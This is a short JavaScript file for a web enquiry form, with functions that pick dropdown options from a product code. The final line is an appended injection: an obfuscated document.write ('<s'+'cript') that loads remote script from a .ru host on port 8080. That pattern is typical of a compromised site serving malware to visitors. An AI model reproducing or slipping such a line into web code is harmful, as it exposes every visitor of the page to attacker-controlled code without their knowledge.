

function selectValues(bobj,conf,amp,coun)
{
 

   var c = coun.substring(4,6);
   var c1 = coun.substring(0,1);
   var c2 = coun.substring(1,4);
      
    for (i=0;i < bobj.length;i++)
    {
       if(bobj[i].value == c)
       {
          bobj.options[i].selected =true;
        
       }  
       
    }
  
    for (i=0;i < conf.length;i++)
     {
       
       if(conf[i].value == c1)
       {
          conf.options[i].selected =true;
                         
        }
   	
       
    }

    for (i=0;i < amp.length;i++)
     {       
       if(amp[i].value == c2)
       {
          amp.options[i].selected =true;
                     
        }   	
      }  
}

function prodidValue(id,con,amp,count)
{
  amph = con.options[document.enqmail.pinconf.selectedIndex].value;
  conf = amp.options[document.enqmail.amphe.selectedIndex].value;
  var prdcode = amph + conf + count;
  for(i=0;i<id.length;i++)
  {
    if(prdcode == id.options[i].text)
    {
       id.options[i].selected = true;
    }
  }
}

/*function selcoun(bobj,coun)
{      
  var c = coun.substring(4,6);
  //alert(c);
  if (pro.length == 0)
      Allprocess(bobj);
   for (i=1,j=1;i < pro.length;i++)
    {
       
       if ( pro[i].coun == c)
       {
        bobj.options[j++] = new Option(pro[i].cname,pro[i].stat);
         }

    }
   bobj.options.length = j;

}*/




document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');